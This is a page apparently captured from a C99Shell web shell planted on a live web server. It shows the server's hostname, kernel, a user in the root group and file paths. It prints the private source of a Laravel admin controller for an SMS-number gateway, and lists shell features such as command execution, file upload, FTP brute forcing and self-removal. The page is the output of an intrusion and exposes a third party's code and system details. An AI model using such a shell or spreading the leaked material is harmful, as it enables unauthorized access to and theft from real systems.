!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NumberController.php (6.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\BillingRequest;
use 
App\Models\Customer;
use 
App\Models\Number;
use 
App\Models\NumberRequest;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;

class 
NumberController extends Controller
{
    public function 
index(){
        return 
view('admin.numbers.index');
    }


    public function 
getAll(){
        
$customers=auth()->user()->numbers()->select(['id','number','from','purch_price','sell_price','status','created_at']);
        return 
datatables()->of($customers)
            ->
addColumn('created_at',function($q){
                return 
$q->created_at->format('d-m-Y');
            })
            ->
addColumn('action',function($q){
                return 
"<a class='btn btn-sm btn-info' href='".route('admin.numbers.edit',[$q->id])."'>Edit</a> &nbsp; &nbsp;".
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this number?"
                                        data-action='
.route('admin.numbers.destroy',[$q]).'
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>' 
;
            })
            ->
rawColumns(['action'])
            ->
toJson();
    }
    public function 
create(){
        return 
view('admin.numbers.create');
    }

    public function 
store(Request $request){
        
$request->validate([
            
'number'=>'required|unique:numbers|regex:/^[0-9\-\+]{9,15}$/',
            
'from'=>'required|in:signalwire,twilio,nexmo,telnyx,plivo,africastalking,nrs,message_bird,infobip,cheapglobalsms,plivo_powerpack,easysendsms,twilio_copilot,twilio_copilot,bulksms,ones_two_u,clickatel,route_mobile,hutch',
            
'purch_price'=>'required|numeric',
            
'sell_price'=>'required|numeric',
            
'status'=>'required|in:active,inactive'
        
]);

        
auth()->user()->numbers()->create($request->all());

        return 
back()->with('success','Number successfully created');
    }

    public function 
edit(Number $number){
        
$data['number']=$number;
        return 
view('admin.numbers.edit',$data);
    }

    public function 
update(Number $number,Request $request){
        
$request->validate([
            
'purch_price'=>'required|numeric',
            
'sell_price'=>'required|numeric',
            
'status'=>'required|in:active,inactive'
        
]);

       
$valid_data=$request->only('purch_price','sell_price','status');

        
//update the model
        
$number->update($valid_data);

        return 
back()->with('success','Number successfully updated');
    }

    public function 
requests(){
        return 
view('admin.numbers.requests');
    }

    public function 
get_requests()
    {
        
$requests=auth()->user()->number_requests;

        return 
datatables()->of($requests)
            ->
addColumn('customer',function($q){
                return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>".$q->customer->full_name."</a>";
            })
            ->
addColumn('number',function($q){
                return 
$q->number->number;
            })
            ->
addColumn('from',function($q){
                return 
$q->number->from;
            })
            ->
addColumn('purch_price',function($q){
                return 
$q->number->purch_price;
            })
            ->
addColumn('sell_price',function($q){
                return 
$q->number->sell_price;
            })
            ->
addColumn('status',function($q){
                return 
$q->status;
            })
            ->
addColumn('action',function(NumberRequest $q){
                return 
'<button class="mr-1 btn btn-sm btn-info" data-message="Are you sure you want to add <b>\''.$q->number->number.'\'</b> to \''.$q->customer->full_name.'\' ?"
                                        data-action='
.route('admin.number.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"accepted"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Approve</button>'
.
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to reject the request ?"
                                        data-action='
.route('admin.number.requests.response').'
                                        data-input={"id":"'
.$q->id.'","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Reject</button>'
;
            })
            ->
rawColumns(['action','customer'])
            ->
toJson();
    }

    public function 
request_response(Request $request){
        
$this->validate($request, [
            
'id' => 'required',
            
'status' => 'required|in:accepted,rejected',
        ]);
        
$number_request auth()->user()->number_requests()->where('id'$request->id)->first();
        if (!
$number_request) return back()->with('fail''Request not found');

        if(
$number_request->status!='pending') return back()->with('fail''Request is not pending');

        
$customer auth()->user()->customers()->where('id'$number_request->customer_id)->first();
        if (!
$customer) return back()->with('fail''Customer not found');

        
$number Number::find($number_request->number_id);
        if (!
$number) return back()->with('fail''Number not found');

        
$isAssigned $customer->numbers()->where('number_id'$number->id)->first();
        if (
$isAssigned) return back()->with('fail''Number already assigned to this customer');

        
$number_request->status=$request->status;
        
$number_request->save();

        if(
$request->status=='rejected') return back()->with('success''Request successfully rejected for the customer');

        
$time Carbon::now()->addMonths(1);
        
$customer->numbers()->create(['number_id' => $number->id'number' => $number->number,'expire_date' => $time'cost' => $number->sell_price]);

        return 
back()->with('success''Number successfully added to the customer');
    }

    public function 
destroy(Number $number){
       if(
$number->customer_numbers->isNotEmpty()){
          return 
back()->with('fail','Sorry number is already in used');
       }
       
$number->delete();
       return 
back()->with('success','Number successfully deleted');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--